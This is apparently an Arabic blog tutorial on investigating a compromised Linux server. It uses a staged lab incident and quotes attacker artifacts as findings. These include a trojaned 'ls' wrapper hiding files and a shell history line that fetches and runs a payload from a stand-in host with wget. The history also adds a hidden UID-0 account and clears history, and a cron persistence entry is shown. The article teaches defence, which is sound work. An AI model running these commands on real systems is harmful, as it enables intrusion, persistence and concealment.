> ## Content Index
> Fetch the complete content index at: https://arabroot.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# فحص سيرفر Linux مخترق دون أن تفسد الأدلة
- URL: https://arabroot.io/articles/فحص-سيرفر-linux-مخترق-دون-ان-تفسد-الادلة/
- Published: 2026-10-26T07:19:54.000Z
- Updated: 2026-10-26T08:20:38.000Z
- Description: فحصنا سيرفراً مخترقاً في المختبر خطوة خطوة بالطريقة الصحيحة، فوجدنا برنامجاً من ملف محذوف وأمر ls مزروعاً ووقتاً مزوراً، دون أن نفسد دليلاً.
- Author: فريق عرب رووت
- Tags: الأدلة التقنية, الأمن السيبراني, لينكس والسيرفرات, الاستضافة الذاتية

عاد بنا الحديث إلى متجر القهوة الإلكتروني في الرياض الذي رافقناه في هذه السلسلة: وصل مسؤول التقنية صباحاً تنبيه أن سيرفر الويب `web01` اتصل ليلاً بعنوان غريب، فدخل السيرفر فوجد برنامجاً يعمل من مجلد مؤقت، وحساباً جديداً له صلاحية root. وهنا تأتي أخطر لحظة في الحادثة كلها، وليست لحظة الاكتشاف، بل اللحظة التالية مباشرة: ماذا تفعل الآن؟ فأول رد فعل عند كثير من المسؤولين أن يعيد تشغيل السيرفر «لينظفه»، أو يحذف الملف الخبيث فوراً، أو يفتح الملفات المشبوهة واحداً واحداً ليقرأها. وكل واحد من هذه الأفعال الثلاثة يمحو دليلاً لا يعود، ويحول حادثة يمكن فهمها إلى لغز بلا حل.

في هذا المقال، وهو الأخير في سلسلة التحقيق الرقمي، سوف نأخذ سيرفر Linux مخترقاً زرعنا فيه حادثة كاملة في المختبر، ونفحصه خطوة خطوة بالطريقة الصحيحة التي لا تفسد الأدلة. ولن نكرر ما شرحناه في السلسلة: مراحل التحقيق وسلسلة الحيازة في [دليل DFIR للمبتدئين](https://arabroot.io/articles/%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%84%D9%84%D9%85%D8%A8%D8%AA%D8%AF%D8%A6%D9%8A%D9%86-dfir/)، والأدوات في [دليل الأدوات](https://arabroot.io/articles/%D8%A7%D8%AF%D9%88%D8%A7%D8%AA-%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9-%D8%A7%D9%84%D9%85%D8%B5%D8%AF%D8%B1/)، والبحث على عدة أجهزة في [مقال Velociraptor](https://arabroot.io/articles/%D8%A7%D9%84%D8%A8%D8%AD%D8%AB-%D8%B9%D9%86-%D8%A7%D8%AB%D8%A7%D8%B1-%D8%A7%D9%84%D8%A7%D8%AE%D8%AA%D8%B1%D8%A7%D9%82-%D9%81%D9%8A-%D9%83%D9%84-%D8%A7%D9%84%D8%B3%D9%8A%D8%B1%D9%81%D8%B1%D8%A7%D8%AA-%D9%85%D8%B9-velociraptor/)، وتحليل الذاكرة في [مقال Volatility](https://arabroot.io/articles/%D8%AA%D8%AD%D9%84%D9%8A%D9%84-%D8%B0%D8%A7%D9%83%D8%B1%D8%A9-%D8%A7%D9%84%D8%AC%D9%87%D8%A7%D8%B2-memory-forensics-%D9%85%D8%B9-volatility-3/)، والخط الزمني في [مقال Plaso](https://arabroot.io/articles/%D8%A7%D9%84%D8%AE%D8%B7-%D8%A7%D9%84%D8%B2%D9%85%D9%86%D9%8A-%D9%84%D9%84%D8%AD%D8%A7%D8%AF%D8%AB-timeline-%D9%85%D8%B9-plaso-%D9%88-timesketch/). هنا نجمع كل ذلك في حالة واحدة متكاملة، ونركز على ما لم نفرده بعد: كيف تحقق دون أن تفسد الأدلة.

📚

المواضيع في السلسلة: (1) DFIR للمبتدئين. (2) أدوات التحقيق الرقمي. (3) البحث عن آثار الاختراق مع Velociraptor. (4) تحليل الذاكرة مع Volatility 3\. (5) الخط الزمني مع Plaso وTimesketch. (6) فحص سيرفر Linux مخترق دون أن تفسد الأدلة (الموضوع الحالي).

[![](https://arabroot.io/content/images/2026/10/dfir-basics-cover-cover.webp)دليلالتحقيق الرقمي DFIR للمبتدئين: احفظ الأدلة قبل أن تنظف السيرفرماذا تفعل عندما تشك أن سيرفرك مخترق، ولماذا تمسح إعادة التشغيل والتنظيف الأدلة التي تحتاجها لتعرف ما حدث.](https://arabroot.io/articles/%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%84%D9%84%D9%85%D8%A8%D8%AA%D8%AF%D8%A6%D9%8A%D9%86-dfir/)[![](https://arabroot.io/content/images/2026/10/velociraptor-lab-cover-cover.webp)دليلالبحث عن آثار الاختراق Hunt في كل سيرفراتك مع Velociraptorبنينا سيرفر Velociraptor وثلاثة عملاء وبحثنا عن آثار اختراق مزروعة بسبع عمليات Hunt، فظهر ما وجدته الأداة وما فاتها بإعداداتها الافتراضية.](https://arabroot.io/articles/%D8%A7%D9%84%D8%A8%D8%AD%D8%AB-%D8%B9%D9%86-%D8%A7%D8%AB%D8%A7%D8%B1-%D8%A7%D9%84%D8%A7%D8%AE%D8%AA%D8%B1%D8%A7%D9%82-%D9%81%D9%8A-%D9%83%D9%84-%D8%A7%D9%84%D8%B3%D9%8A%D8%B1%D9%81%D8%B1%D8%A7%D8%AA-%D9%85%D8%B9-velociraptor/)[![](https://arabroot.io/content/images/2026/10/volatility-lab-cover-cover.webp)دليلتحليل ذاكرة الجهاز Memory Forensics مع Volatility 3حللنا نسختي ذاكرة رسميتين من سيرفر Debian وجهاز Windows 10، فاستخرجنا البرامج والاتصالات وأوامر Bash، ورأينا أين تخطئ malfind.](https://arabroot.io/articles/%D8%AA%D8%AD%D9%84%D9%8A%D9%84-%D8%B0%D8%A7%D9%83%D8%B1%D8%A9-%D8%A7%D9%84%D8%AC%D9%87%D8%A7%D8%B2-memory-forensics-%D9%85%D8%B9-volatility-3/)[![](https://arabroot.io/content/images/2026/10/timeline-plaso-cover-cover.webp)دليلالخط الزمني للحادث Timeline مع Plaso وTimesketchبنينا خطاً زمنياً شاملاً لحادثة اختراق سيرفر بأداة Plaso، فأعاد الهجوم بالدقيقة، ثم رفعناه إلى Timesketch وشغلنا محلل تخمين كلمة المرور.](https://arabroot.io/articles/%D8%A7%D9%84%D8%AE%D8%B7-%D8%A7%D9%84%D8%B2%D9%85%D9%86%D9%8A-%D9%84%D9%84%D8%AD%D8%A7%D8%AF%D8%AB-timeline-%D9%85%D8%B9-plaso-%D9%88-timesketch/)

وسوف نناقش في هذا المقال ما يلي:

- لماذا إعادة التشغيل أول خطأ، وما الذي يضيع بالضبط، وقد جربناه.
- ترتيب التقلب Order of Volatility: من أين تبدأ ولماذا، على جهاز لا تريد أن تطفئه.
- الأدوات المزروعة Trojaned Binaries: لماذا لا تثق بـ `ls` و`ps` على جهاز مخترق.
- كيف يفسد فحصك أنت أوقات الملفات، وكيف تقرأ دون أن تخرب الدليل.
- التحقيق خطوة خطوة: البرامج العاملة، والبرنامج من ملف محذوف واستعادته، والشبكة، والثبات.
- كشف تزوير الأوقات Timestomping بمقارنة وقتين على الملف نفسه.
- تجربة «ماذا لو»: ماذا يحدث فعلاً عند إعادة التشغيل، بالأرقام.
- الجمع مع الهاش وسلسلة الحيازة، والجانب السعودي: ما تقوله الضوابط عن الإبلاغ.
- قائمة الساعة الأولى، وأخطاء شائعة، وقائمة تحقق.

## أول خطأ: «لنعد تشغيله لينظف»

السيرفر المخترق يشبه مسرح جريمة: كل دقيقة تمر فيه دون جمع منظم تذهب فيها أدلة، وكل حركة غير محسوبة تطمس أثراً. والفرق أن مسرح الجريمة الرقمي فيه أدلة تختفي من تلقاء نفسها بمجرد مرور الوقت أو بمجرد أن تلمسها. وأكثر فعل مدمر هو إعادة التشغيل أو الإطفاء، والسبب أن أثمن الأدلة في حادثة سيرفر حي تعيش في الذاكرة RAM وحدها، ولا أثر لها على القرص: البرامج العاملة الآن وسطور أوامرها، والاتصالات المفتوحة ومن هو متصل، ومفاتيح التشفير التي يحملها برنامج خبيث في ذاكرته، وأحياناً الملف التنفيذي للبرنامج نفسه إذا كان المهاجم قد حذفه من القرص بعد تشغيله. كل هذا يمحى في اللحظة التي تنقطع فيها الكهرباء عن الذاكرة.

ولماذا تعيش هذه الأدلة في الذاكرة وحدها؟ لأن النظام يفضل السرعة: البرامج تعمل من الذاكرة، والاتصالات حالة في ذاكرة النواة، ومجلد `/proc` نفسه ليس ملفات على قرص بل نافذة تفتحها النواة على حالتها في الذاكرة لحظة بلحظة. فكل ما يصف «ما يجري الآن» موجود في الذاكرة، وما على القرص يصف «ما بقي». ولهذا يقول المحققون إن إطفاء جهاز مخترق يشبه هدم مسرح الجريمة لأخذ لبنة منه. والأسوأ أن إعادة التشغيل تجمع بين خسارتين: فهي تمحو أدلة المهاجم، ولكنها لا تمحو طريقته في العودة. فإذا كان قد ترك مهمة Cron تعيد تشغيل برنامجه كل بضع دقائق، فإن السيرفر بعد إعادة التشغيل يعيد تشغيل البرنامج الخبيث من نسخته على القرص، أي أنك خسرت الدليل وأبقيت المشكلة. وسوف نرى هذا بالأرقام في تجربة «ماذا لو» لاحقاً.

وهذا لا يعني ألا تفعل شيئاً، فالخطر الحقيقي قائم والمهاجم قد يكون ما زال متصلاً. القرار الصحيح أن تعزل Isolate لا أن تطفئ: افصل السيرفر عن الشبكة أو ضعه في شبكة معزولة بقاعدة جدار ناري، فيفقد المهاجم اتصاله وتبقى الذاكرة حية لتجمعها. وفي البيئات السحابية هذا أسهل، إذ تستطيع أن تأخذ لقطة Snapshot للقرص وصورة للذاكرة ثم تعزل الجهاز الافتراضي، كل ذلك دون أن تطفئه.

وقد يتساءل البعض: أليس العزل عن الشبكة نفسه تغييرا على الجهاز؟ نعم، وكل شيء تفعله على جهاز حي يترك أثراً، وهذه حقيقة لا مفر منها في الاستجابة الحية Live Response، فأنت لا تحقق في جهاز في متحف، بل في جهاز يعمل وتحته خطر قائم. والمبدأ ليس ألا تغير شيئاً إطلاقاً، بل أن تعرف ما تغيره وتسجله، وأن توازن بين الدليل الذي قد تفقده والضرر الذي قد يتوسع إن تركت المهاجم متصلاً. فإذا كان السيرفر يسرب بيانات العملاء الآن، فعزله ولو كلفك بعض الأثر أهم من الحفاظ على حالة مثالية بينما يتسرب المزيد. ولهذا تكتب قرارك وسببه في السجل: «عزلت الجهاز في الساعة كذا لإيقاف تسرب محتمل»، فيفهم من يراجع لاحقاً لماذا اتخذت ما اتخذت.

ومتى تطفئ رغم كل هذا؟ في حالة واحدة تقريبا: إذا كان المهاجم بصدد تدمير الأدلة فعلاً أمام عينيك، كأن يشغل أمر محو للقرص، وكان الإطفاء المفاجئ Pull the Plug أسرع في إيقافه من أي شيء آخر. وحتى عندها الإطفاء المفاجئ بقطع الكهرباء، لا الإطفاء المنظم `shutdown`، لأن الإطفاء المنظم يشغل سكربتات قد يكون المهاجم زرع فيها ما يمحو أثره، بينما قطع الكهرباء يجمد القرص على حاله. وهذا قرار نادر وصعب، وأغلب الحوادث لا تصل إليه، فالعزل يكفي.

## ترتيب التقلب: من أين تبدأ؟

إذا كانت بعض الأدلة تختفي في ثوان وبعضها يبقى شهوراً، فالترتيب المنطقي أن تجمع الأسرع اختفاء أولاً. هذه القاعدة اسمها ترتيب التقلب Order of Volatility، وقد وصفتها وثيقة [RFC 3227](https://www.rfc-editor.org/rfc/rfc3227?ref=arabroot.io) من فريق الإنترنت الهندسي منذ سنوات، وما زالت أساس كل منهجيات جمع الأدلة الحية Live Response. والصورة التالية تبين الترتيب مكيفاً لسيرفر Linux:

![سلم ترتيب التقلب من الذاكرة في الأعلى إلى النسخ الاحتياطية في الأسفل](https://arabroot.io/content/images/2026/10/compromised-linux-02-volatility.webp)

اجمع من الأعلى إلى الأسفل: الأسرع اختفاء أولاً، وكل خطوة على نسخة لا على الأصل

في السلم أعلاه لاحظ التالي، فهو يرتب كل مقالات هذه السلسلة في مكانها:

- **الذاكرة والعمليات أولاً:** قائمة البرامج من `/proc`، ثم نسخة كاملة من الذاكرة بأداة مثل AVML أو LiME تحللها بـ Volatility كما في مقال تحليل الذاكرة. هذه أول ما تجمع لأنها أول ما يختفي.
- **حالة الشبكة:** الاتصالات المفتوحة والمنافذ المستمعة والمستخدمون المتصلون، وهي تتغير كل ثانية.
- **نظام الملفات الحي:** أوقات الملفات والملفات الحديثة، وهذه تجمعها قبل أن يغيرها فحصك أنت، كما سنرى.
- **نسخة القرص:** نسخة جنائية كاملة للتحليل العميق لاحقاً بلا عجلة، وهي التي تستخرج منها الملفات المحذوفة.
- **السجلات البعيدة والنسخ الاحتياطية:** وهي الأثبت، لأنها خارج يد المهاجم، وسجل مركزي SIEM لا يستطيع المهاجم مسحه من السيرفر المخترق.

وقاعدة فوق كل هذا الترتيب: اعمل على نسخة لا على الأصل حيثما أمكن، وكل ما تنفذه على الجهاز الحي سجله بوقته. وفي مقال Velociraptor رأينا كيف تجمع هذه الأدلة عن بعد من عشرات الأجهزة دون أن تلمس كل جهاز بيدك، وهنا نركز على الجهاز الواحد الذي بين يديك.

## لا تثق بأدوات الجهاز المخترق

قبل أن ننفذ أي أمر على السيرفر، هناك فخ يقع فيه كثيرون: الأوامر التي تكتبها قد تكون هي نفسها مزورة. فالمهاجم الذي سيطر على الجهاز بصلاحية root يستطيع أن يستبدل أدوات النظام مثل `ls` و`ps` و`netstat` بنسخ مزروعة Trojaned تخفي عنك ملفاته وعملياته، وهذا جزء مما يسمى Rootkit على مستوى المستخدم User-mode Rootkit. ولنرى ذلك في مختبرنا، فقد زرعنا `ls` مزوراً، وقارناه بالحقيقي داخل المجلد `/var/tmp`:

```bash
cd /var/tmp
ls -a           # الأداة الموجودة في PATH
/usr/bin/ls -a  # الأداة الحقيقية بمسارها الكامل
echo .* *       # توسعة الأسماء بواسطة الـ Shell نفسها
```

```text
# ls -a          →  .   ..
# /usr/bin/ls -a →  .   ..   .cache
# echo .* *      →  . .. .cache *
```

الأمر `ls` الأول لم يظهر المجلد المخفي `.cache`، بينما أظهره `/usr/bin/ls` بمساره الكامل، وأظهرته أيضاً توسعة الـ Shell بـ `echo`. لماذا؟ لأن الأمر الذي نفذناه ليس الأداة الحقيقية. تحقق من ذلك:

```bash
type ls
head -3 /usr/local/bin/ls
wc -c /usr/local/bin/ls /usr/bin/ls
```

```text
ls is /usr/local/bin/ls
#!/bin/bash
/usr/bin/ls "$@" | grep -v -E "kworkerd|\.cache|sys-update"
    72 /usr/local/bin/ls
158632 /usr/bin/ls
```

الأداة المزروعة ليست حتى برنامجاً، بل ملف نصي صغير حجمه 72 بايتاً، يشغل `ls` الحقيقية ثم يحذف من نتيجتها كل سطر فيه `kworkerd` أو `.cache` أو `sys-update`، أي كل ما يريد المهاجم إخفاءه. ووضعها المهاجم في `/usr/local/bin` الذي يأتي في `PATH` قبل `/usr/bin`، فتنفذ بدل الحقيقية، وهذا ما يسمى تسميم المسار PATH Poisoning. والدرس من هذا واضح: على جهاز مخترق لا تثق بأي أداة من الجهاز نفسه. والحل أن تحضر معك أدوات موثوقة مبنية ساكنة Statically Linked على قرص خارجي أو فلاشة، وهي ما ذكرناه في حقيبة الاستجابة Jump Kit في مقال الأدوات، أو على الأقل أن تستدعي الأدوات بمسارها الكامل وتقارن نتائجها بأكثر من طريقة، فإذا اختلف `ls` عن `echo *` فأنت أمام أداة مزروعة.

وهناك طريقة ثانية للكشف عن الأدوات المزروعة، وهي أن تسأل مدير الحزم Package Manager نفسه: هل تغير ملف من ملفات النظام عما ثبته؟ ففي التوزيعات المبنية على Debian تفعل أداة `debsums` ذلك، وفي RPM تفعله `rpm -V`، إذ تقارن هاش كل ملف مثبت بما سجلته الحزمة عند التثبيت، فتظهر لك الملفات التي عدلت. ولكن انتبه إلى حدين: الأول أن المهاجم الذي سيطر على الجهاز قد يكون زور قاعدة بيانات الحزم نفسها، فلا تثق بالنتيجة ثقة مطلقة، واعتبرها دليلا إضافيا لا نهائيا. والثاني أن `ls` المزروع في مختبرنا لم يكن يستبدل ملف الحزمة أصلا، بل وضع ملفا جديدا في `/usr/local/bin` يسبق الأصلي في المسار، فلن يكشفه فحص الحزم، وإنما يكشفه فحص `PATH` وأمر `type ls`. فلكل حيلة طريقة كشف، والمحقق يجمع بينها، لأن الاعتماد على فحص واحد يترك بابا مفتوحا.

## كيف يفسد فحصك أنت الأدلة؟

أدق ما في التحقيق أن المحقق نفسه يفسد الأدلة دون أن يشعر، وأشهر مثال وقت الوصول Access Time. فكل ملف في Linux يحمل أربعة أوقات تعرف بـ MACB: وقت التعديل Modified، ووقت الوصول Accessed، ووقت تغيير البيانات الوصفية Changed، ووقت الإنشاء Born. ووقت الوصول يفترض أن يتغير كلما قرأ أحد الملف، وهذا يفيد المحقق لأنه يقول متى قرئ ملف آخر مرة، ولكنه سلاح ذو حدين: فإذا قرأت أنت الملف الخبيث بـ `cat` أو `less` لتراه، فقد غيرت وقت وصوله إلى الآن، وطمست الوقت الذي يقول متى قرأه المهاجم. جربنا ذلك على ملف الـ Web Shell:

```bash
stat -c "mtime=%y  atime=%x" /var/www/html/uploads/thumb.php
cat /var/www/html/uploads/thumb.php    # القراءة الخاطئة
stat -c "atime_now=%x" /var/www/html/uploads/thumb.php
```

```text
mtime=2026-01-15 10:00:00  atime=2026-01-15 10:00:00
# بعد cat:
atime_now=2026-10-26 05:53:43
```

بمجرد أمر `cat` واحد قفز وقت الوصول من 15 يناير إلى لحظة فحصنا، فضاع الوقت الأصلي إلى الأبد. ولذلك القاعدة الذهبية: لا تقرأ محتوى الملفات على الجهاز الحي إذا كانت أوقاتها مهمة لقضيتك، وإنما اجمع أوقات كل الملفات أولاً في ملف يسمى Body File كما في مقال الأدوات، ثم اقرأ المحتوى من نسخة القرص التي تركبها للقراءة فقط وبخيار `noatime` الذي يمنع تحديث وقت الوصول.

💡

ليس كل أمر يفسد وقت الوصول. جربنا ذلك: الأمر `stat` الذي يقرأ البيانات الوصفية فقط، والأمر `ls -lu` الذي يعرض وقت الوصول، لم يغيرا شيئاً، لأنهما لا يقرآن محتوى الملف. أما `sha256sum` و`cat` و`grep` فتقرأ المحتوى فتحدث الوقت. فاحسب الهاش وافحص المحتوى على النسخة لا على الأصل.

وهناك تفصيل دقيق في نظام relatime الذي تعمل به أغلب توزيعات Linux اليوم: لا يحدث وقت الوصول في كل قراءة، وإنما فقط إذا كان وقت الوصول القديم أقدم من وقت التعديل، أو مر عليه يوم كامل. وهذا يعني أن أثر قراءتك يظهر على الملفات التي لم تقرأ منذ آخر تعديل لها، وهي بالضبط الملفات التي يهمك وقت وصولها. فلا تعتمد على relatime ليحميك، واعمل على النسخة.

ولهذا السبب بالذات يبدأ المحقق بتسجيل أوقات كل الملفات في Body File قبل أن يلمس محتوى أي ملف. فالبوديفايل يجمع أوقات MACB لكل ملف في النظام في ملف واحد في دقائق، وهو يقرأ البيانات الوصفية فقط لا المحتوى، فلا يفسد وقت الوصول. وبعد أن تحفظ هذه القائمة بهاشها، تصبح حرا في قراءة ما تشاء من الملفات على النسخة، لأن أوقاتها الأصلية صارت محفوظة. ومن هذا البوديفايل نفسه تبني الخط الزمني لنظام الملفات كما شرحنا في مقال الخط الزمني، فترى لحظة إنشاء كل ملف خبيث في سياق بقية الأحداث. والترتيب هنا ليس تفصيلا شكليا: من قرأ الملفات أولا ثم فكر في الأوقات، يكون قد كتب وقت فحصه على نصف أدلته قبل أن يسجلها.

## التحقيق خطوة خطوة

الآن نبدأ الفحص الفعلي بالترتيب الصحيح، مفترضين أننا جمعنا نسخة الذاكرة أولاً (موضوع مقال Volatility)، وننتقل إلى الأدلة الحية في `/proc` وهي مصدر لا يكذب لأنه واجهة النواة مباشرة، لا تمر عبر أداة قد تكون مزروعة.

### البرامج العاملة والبرنامج من ملف محذوف

بدل أن نثق بـ `ps`، نقرأ العمليات من `/proc` مباشرة، ونبحث عن أخطر علامة في سيرفرات Linux المخترقة: برنامج يعمل من ملف حذف من القرص. فالمهاجم الذكي ينسخ برنامجه، يشغله، ثم يحذف الملف، فلا تجده أداة تفحص القرص، ولكنه ما زال يعمل في الذاكرة، والنواة تحتفظ برابط إليه في `/proc/PID/exe`:

```bash
for p in /proc/[0-9]*; do
  t=$(readlink "$p/exe" 2>/dev/null)
  echo "$t" | grep -q "(deleted)" && echo "${p#/proc/} -> $t"
done
```

```text
462 -> /var/tmp/.systemd-private (deleted)
```

هنا هو: العملية 462 تعمل من ملف اسمه `.systemd-private` (اسم مختار ليبدو كخدمة نظام) كان في `/var/tmp` وحذف. ولأن العملية ما زالت حية، نستطيع أن نستعيد الملف التنفيذي كاملاً من `/proc`، وهذا أهم ما يميز التحقيق على جهاز حي عن التحقيق على قرص وحده:

```bash
cp /proc/462/exe /evidence/recovered.bin
sha256sum /proc/462/exe /usr/bin/sleep
tr "\0" " " < /proc/462/cmdline; echo
grep PPid /proc/462/status
```

```text
0637e6d47579929cb72efa46f361861b319d62c62fe8a9d10731fd7655eb5936  /proc/462/exe
0637e6d47579929cb72efa46f361861b319d62c62fe8a9d10731fd7655eb5936  /usr/bin/sleep
/var/tmp/.systemd-private 86400
PPid:	1
```

استعدنا الملف الخبيث وحسبنا هاشه، وهو ما ترسله إلى خدمة تحليل البرمجيات الخبيثة أو تفحصه بقواعد YARA. ولاحظ تفصيلين: الأب `PPid: 1` يعني أن العملية يتيمة Orphaned، أي أن من شغلها خرج وتبنتها عملية النظام الأولى، وهذا شائع في البرامج الخبيثة التي تفصل نفسها عن جلسة المهاجم لتبقى بعد خروجه. والهاش هنا مطابق لـ `/usr/bin/sleep` لأننا في المختبر استخدمنا نسخة منه لا تؤذي، أما في قضية حقيقية فالهاش هو مفتاحك لمعرفة ما هذا البرنامج.

### حالة الشبكة

بعد العمليات، الاتصالات. ونفضل أداة مبنية ساكنة من حقيبتنا، أو `ss` الحديثة بدل `netstat`، والأفضل أن نربط كل اتصال بعمليته:

```bash
ss -tanp
ls -l /proc/462/fd | grep -i socket
```

تبحث هنا عن اتصالات خارجة إلى عناوين لا تعرفها، ومنافذ مستمعة لم تفتحها أنت، وتربطها بالعملية المشبوهة. والعنوان البعيد الذي تجده هنا مؤشر اختراق IOC تبحث عنه في بقية السيرفرات وفي سجل الجدار الناري، كما فعلنا في مقال الخط الزمني. وفي بيئة حقيقية قد يحمل برنامج التعدين عنوان مجمع التعدين Mining Pool في اتصالاته، فيكشف لك طبيعته قبل أن تحلل الملف نفسه.

وهنا تظهر قيمة مقارنة المصادر مرة أخرى: إذا رأيت منفذا مفتوحا في `ss` ولم تجد له عملية، أو رأيت اتصالا في سجل الجدار الناري لا يظهر في `ss` على الجهاز، فقد تكون أمام أداة مزروعة تخفي اتصالات المهاجم، تماما كما أخفى `ls` ملفاته. ولهذا ينظر المحقق إلى الشبكة من خارج الجهاز أيضا: جدار ناري أو نقطة مراقبة شبكة لا يستطيع المهاجم على السيرفر أن يزورها، فما يظهر فيها ولا يظهر على الجهاز نفسه دليل على إخفاء نشط. وهذه الفكرة، أن تثق بالمصدر الأبعد عن يد المهاجم، هي نفسها التي جعلتنا نفضل سجلا مركزيا على سجل الجهاز، ونفضل `ctime` الذي لا يزوره `touch` على `mtime` الذي يزوره.

وأخطر صور الإخفاء على الإطلاق Rootkit على مستوى النواة Kernel-mode، وهو وحدة نواة خبيثة تعدل النظام نفسه ليكذب على كل أداة، فلا `/proc` ولا `ss` يعطيانك الحقيقة لأن النواة نفسها صارت تحت سيطرة المهاجم. وهذا نادر ولكنه ممكن، وعلاماته تناقضات لا تفسير لها: عملية تظهر وتختفي، أو فرق بين ما تراه من داخل الجهاز وما تراه من نسخة ذاكرته. وكشفه الحقيقي يكون من خارج الجهاز الحي: من نسخة الذاكرة التي تحللها بـ Volatility، أو من نسخة القرص التي تفحصها على جهاز نظيف، وهذا سبب إضافي لأن تجمع الذاكرة والقرص ولا تكتفي بالفحص الحي، فالفحص الحي يكفي للمهاجم المتوسط، أما من يملك النواة فلا تكشفه إلا من خارجها.

### الثبات: كيف يضمن المهاجم العودة؟

البرنامج العامل قد ينتهي، أما طريقة البقاء Persistence فهي ما يعيده، وهي أهم ما تجده لأنها إذا بقيت عاد المهاجم بعد أي تنظيف. فحصنا الأماكن المعتادة:

```bash
cat /etc/cron.d/sys-update
awk -F: '$3==0 {print $1" uid="$3" shell="$7}' /etc/passwd
cat /root/.ssh/authorized_keys
cat /root/.bash_history
```

```text
# cron:
*/5 * * * * root /var/tmp/.cache/update >/dev/null 2>&1
# حسابات بصلاحية root:
root uid=0 shell=/bin/bash
sysbackup uid=0 shell=/bin/bash
# مفتاح SSH:
ssh-ed25519 AAAAC3Nz.FAKEKEYwxyz root@kali
# سجل الأوامر:
wget http://198.51.100.23/x -O /var/tmp/.systemd-private
chmod +x /var/tmp/.systemd-private
/var/tmp/.systemd-private 86400 &
useradd -o -u 0 sysbackup
history -c
```

أربع طرق للبقاء في مخرج واحد: مهمة Cron تشغل نسخة القرص كل خمس دقائق، وحساب ثان `sysbackup` برقم UID صفر أي صلاحية root كاملة باسم آخر، ومفتاح SSH غريب في ملف مفاتيح root، وبرنامج ينزل ويشغل. ولاحظ آخر سطر في السجل: `history -c`، محاولة المهاجم مسح أثره، ولكنها تمسح ذاكرة الجلسة الحالية فقط لا الملف الذي كتب قبلها، فبقيت كل أوامره شاهدة عليه. وهذا درس يتكرر: المهاجم المتوسط يترك أثراً دائماً، فلا تيأس من البحث لأنه «نظف».

### كشف تزوير الأوقات Timestomping

زرعنا في المختبر ملف Web Shell، وزورنا وقته ليبدو قديماً، كما يفعل المهاجم ليخفي ملفه بين الملفات القديمة. والأمر `touch` يستطيع تغيير وقت التعديل ووقت الوصول إلى أي تاريخ، ولكنه لا يستطيع تزوير وقت رابع: وقت تغيير البيانات الوصفية Change Time، لأن النواة تضعه بنفسها عند أي تعديل على الملف أو بياناته، ولا يوجد أمر عادي يغيره. وهنا الكشف:

```bash
stat -c "mtime=%y  ctime=%z" /var/www/html/uploads/thumb.php
```

```text
mtime=2026-01-15 10:00:00  ctime=2026-10-26 05:52:50
```

الملف يدعي أنه عدل في 15 يناير، ولكن وقت تغيير بياناته الوصفية 26 أكتوبر، أي يوم الهجوم الحقيقي. فكيف يكون وقت التعديل أقدم من وقت تغيير البيانات الوصفية؟ هذا مستحيل في المسار الطبيعي، فأي كتابة على الملف تحدث الوقتين معاً، والوحيد الذي يجعل `mtime` أقدم من `ctime` هو من زور وقت التعديل بـ `touch` بعد إنشاء الملف. فالقاعدة العملية: إذا كان `mtime` أقدم من `ctime` بفارق كبير، فالملف مزور الوقت، و`ctime` أقرب إلى الحقيقة. وهذا بالضبط ما تكشفه مقارنة مصدرين على الدليل نفسه، وهو السبب الذي كررناه في كل مقالات السلسلة: لا تعتمد على رقم واحد من مصدر واحد.

![ست بطاقات لآثار الاختراق على web01 مع العلامة التي كشفت كل أثر](https://arabroot.io/content/images/2026/10/compromised-linux-04-findings.webp)

كل أثر مع العلامة التي كشفته، والعلامات هي ما يميز التحقيق عن التخمين

## اجمع القصة: ماذا فعل المهاجم بالضبط؟

التحقيق الجيد لا يتوقف عند جمع آثار متفرقة، بل يربطها في قصة واحدة تشرح كيف دخل المهاجم وماذا فعل في كل مرحلة. والإطار الذي يساعد على ذلك هو [MITRE ATT&CK](https://attack.mitre.org/?ref=arabroot.io)، وهو تصنيف منظم لتكتيكات المهاجمين وتقنياتهم مبني على هجمات حقيقية موثقة، وقد ذكرناه في مقال Velociraptor. فعندما ترتب ما وجدته حسب التكتيك، تكتشف الثغرات في فهمك: أي مرحلة لا دليل عليها بعد؟ والصورة التالية ترتب حادثتنا:

![خطوات المهاجم الخمس على web01 مرتبة حسب تكتيكات MITRE ATT&CK مع دليل كل خطوة](https://arabroot.io/content/images/2026/10/compromised-linux-05-killchain.webp)

كل خطوة في الهجوم مع تكتيكها في ATT&CK والدليل الذي يثبتها، فالثغرة في القصة ثغرة في الأدلة

ولاحظ في الترتيب أن المرحلة الثالثة، تفادي الدفاعات Defense Evasion، هي أكثر ما يميز المهاجم المتمرس، وفيها ثلاث تقنيات اجتمعت على سيرفرنا: حذف الملف التنفيذي بعد تشغيله ليختفي من القرص، وهو قريب من تقنية [محو المؤشرات T1070](https://attack.mitre.org/techniques/T1070/?ref=arabroot.io)؛ وتسمية البرنامج باسم يشبه خدمة نظام `.systemd-private`، وهي تقنية [التنكر Masquerading T1036](https://attack.mitre.org/techniques/T1036/?ref=arabroot.io)؛ و`ls` المزروع الذي يخفي الملفات. وتزوير الأوقات مرحلة قائمة بذاتها في الإطار باسم [T1070.006](https://attack.mitre.org/techniques/T1070/006/?ref=arabroot.io). والفائدة العملية من هذا الترتيب أنه يوجه بحثك: إذا رأيت ثباتاً Persistence ولم تجد دليلاً على الدخول الأولي، فاعرف أنك لم تكمل التحقيق بعد، وأن هناك سجلاً لم تفحصه. فالقصة التي فيها فجوة ليست قصة مكتملة، والفجوة تقول لك أين تبحث.

## ما يرويه /proc عن كل عملية

وقفنا كثيراً عند `/proc` لأنه مصدر الحقيقة على الجهاز الحي، ويستحق أن نعرف ماذا يعطينا لكل عملية مشبوهة، فلكل عملية مجلد باسم رقمها فيه ملفات افتراضية تقرأها النواة لك لحظياً:

- `/proc/PID/exe`: رابط إلى الملف التنفيذي، ويقول `(deleted)` إذا حذف، ومنه تستعيده كما فعلنا.
- `/proc/PID/cmdline`: سطر الأوامر كاملاً كما شغل، بفواصل صفرية، فيكشف الوسائط التي قد تخفيها قوائم العمليات.
- `/proc/PID/cwd`: مجلد عمل العملية، وقد يدلك على مكان ملفات المهاجم.
